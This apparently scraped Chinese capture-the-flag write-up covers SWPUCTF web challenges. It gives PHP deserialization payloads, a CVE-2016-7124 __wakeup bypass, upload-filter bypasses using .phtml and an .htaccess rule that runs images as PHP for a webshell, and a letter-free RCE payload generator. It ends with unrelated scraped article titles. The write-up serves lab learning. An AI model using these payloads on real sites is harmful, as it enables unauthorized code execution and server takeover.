ez_unserialize

不知道在哪,御剑扫叭

有一个robots.txt

一道反序列化好像是

分析代码应该是admin=admin、passwd=ctf即可输出flag

<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd ="ctf";
}
}
$b = new wllm();
echo serialize($b);
?>

payload

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

NSSCTF{7ea69acb-a2a2-486b-b80a-877bf9e1cd0b}

easyupload1.0

只能是上传jpg好像

猜测应该是后端检验,那那那就抓包改后缀

!!!!

上传成功了哈哈哈

成功了哈哈哈哈

找到了

WLLMCTF{I_d0nt_w4nna_wak3up}

好像不对woc,,,

然后再phpinfo里面找到了flag

NSSCTF{f3f118bf-7cb6-41ea-a0db-2d629d241a81}

easyupload2.0

同样的方式上传php发现报错了

改成phtml成功绕过

连上了hhhh

NSSCTF{2cd21bdd-bf16-4308-9ed4-3e225945c53e}

no_wakeup

题目中提示是CVE-2016-7124

多了个__wakeup,得想办法绕过这个wakeup才能满足if当中得条件

经过查阅应该是将属性值改的大于原属性值即可绕过wakeup

<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd ="wllm";
}
}
$b = new HaHaHa();
echo serialize($b);
?>

生成payload

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

修改为

O:6:"HaHaHa":4:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

NSSCTF{8d7c4c70-4187-46c2-85bc-b84b35e5ec61}

easyupload3.0

没啥办法上传.htaccess来解析1.jpg为php就行了

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

同样上传webshell

可以

NSSCTF{ead0aa25-feab-4403-884b-931acb4d6226}

hardrce

明显是无字母rce

<?php
$system = 'system';
$command = 'ls';
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

采用取反的方法

发现可以执行

直接读取flag

NSSCTF{a6d5a9b9-96b0-4d75-afac-85cedb42b80f}

2021SWPUCTF-WEB(二)的更多相关文章

  1. java web 二维码生成

    pom支持: <!-- 二维码支持包 start--> <dependency> <groupId>com.google.zxing</groupId> ...

  2. 从桌面到 Web - 二十几天学 ASP.NETCore 1

    这么多年一直从事桌面开发,一直没有时间好好学学  web 开发.感觉自己就像从石器时代走来的古代类人猿.由于工作的调整,现在终于有时间学习一下 Web 开发.出于对技术和框架的熟悉和继承,决定还是学习 ...

  3. java web(二) Tomcat数据源

    一.数据源的产生 1.JDBC操作原理 (1) 加载数据库驱动程序(数据库驱动程序可通过classpath配置): Class.forName(); (2)通过DriverManager类取得数据库连 ...

  4. java web(二): servlet的简单使用和介绍

    前言:通过编写一个servlet类,向浏览器发送hello world来阐述servlet. 一:创建动态web项目 1. 首先切换到javaEE视图. 在ecplise左边即项目管理器哪里右键点击新 ...

  5. Java Web(二) Servlet中response、request乱码问题解决

    三月不减肥,五月徒伤悲,这就是我现在的状态,哈哈~ 健身.博客坚持. --WH 一.request请求参数出现的乱码问题 get请求: get请求的参数是在url后面提交过来的,也就是在请求行中, M ...

  6. qt cef嵌入web(二)

    在qt cef嵌入web文章中已经讲述了怎么把cef页面嵌入到qt程序中,但是这样并不完美,因为如果需要在多个窗口上创建cef浏览器部件的话,在 消息监听部分没有办法做区分多个浏览器事件,在这篇文章中 ...

  7. Java Web(二) Servlet详解

    什么是Servlet? Servlet是运行在Web服务器中的Java程序.Servlet通常通过HTTP(超文本传输协议)接收和响应来自Web客户端的请求.Java Web应用程序中所有的请求-响应 ...

  8. django搭建web (二) urls.py

    URL模式: 在app下的urls.py中 urlpatterns=[ url(正则表达式,view函数,参数,别名,前缀)] urlpatterns=[ url(r'^hello/$',hello. ...

  9. web(二)html

    html编写规范 在输入开始标签时同时输入结束标签,以防丢失标签 保证缩紧格式(一个tab键) 主动添加注释(快捷键 选中后 Ctrl+Shift+/) Html的调试 开发者工具(快捷键F12)是前 ...

  10. Skyline(6.x)-Web二次开发-多窗口对比

    GitHub 上获取源码 1. 打开个 3D 窗口 一个页面加载多个 TerraExplorer3DWindow 和 SGWorld 等只有第一个能用(即使用 iframe 也是一样) 所以我决定打开 ...

随机推荐

  1. linux 部署python 系统服务管理命令 yum源设置 linux定时任务 python在linux的虚拟环境安装以及使用

    安装python3 三种方式 ==linux下很多脚本默认都用python2, 所以不要把python3的执行文件改为python,因为linux里默认python就是运行python2版本 == y ...

  2. Python 集合常用方法

    数据类型:int/str/bool/list/dict/tuple/float/set   (set类型天生去重) 一.集合的定义 s = set()  #定义空集合 s = {'a','b','c' ...

  3. 基于.NET Core3.1的SQLiteHelper增删改帮助类

    安装驱动包 install-package Microsoft.Data.Sqlite -version 3.1.7 install-package System.Data.SQLite.Core - ...

  4. 【Java】无法将java.util.LinkedHashMap强制转换为X

    JsonJack:无法将java.util.LinkedHashMap强制转换为X 1. 概述 Jackson是一个广泛使用的Java库,它使可以方便地对JSON或XML进行序列化/反序列化.有时,当 ...

  5. IDEA给【类】和【方法】设置作者和日期等注释

    https://blog.csdn.net/m0_61933976/article/details/127021176 一.在Java类的开头自动注释作者名字和日期等信息 这样以后只要我们创建一个类, ...

  6. mongoDB日常操作02

    db.TABLE_NAME.find({<query>})//普通查询db.TABLE_NAME.find({<query>},{'_id':0,'f1':1,'f2':1}) ...

  7. mysql使用保留字导致该列查不出来(mysql版本问题)

    mysql版本是 问题: 如图这边groups是sql的保留字此时这样查询是查不出来的,并会报错语法错误.但是在5.几的mysql版本中这行sql就没有问题. 解决方法: 在groups列上加上'gr ...

  8. [2007年NOIP普及组] Hanoi双塔问题

    给定A.B.C三根足够长的细柱,在A柱上放有2n个中间有孔的圆盘,共有n个不同的尺寸,每个尺寸都有两个相同的圆盘,注意这两个圆盘是不加区分的(下图为n=3的情形).现要将 这些国盘移到C柱上,在移动过 ...

  9. win常用的dos命令

    常用的dos命令 开启dos终端的两种方式: win+r后输入cmd指令 在资源管理器上方的路径窗口直接输入cmd,即可开启指定路径下的cmd终端,省去了cd/d这一步 注:在dos终端里ctrl+v ...

  10. bzoj 3532

    很好的一道题,对理解最小割有很大帮助 首先,不难发现本题与网络流24题中的某一道很类似,我们可以先跑一次dp求出每个节点的LIS,然后拆点,拆出的两点之间连流量为删除的代价的边,剩下的点之间按dp的转 ...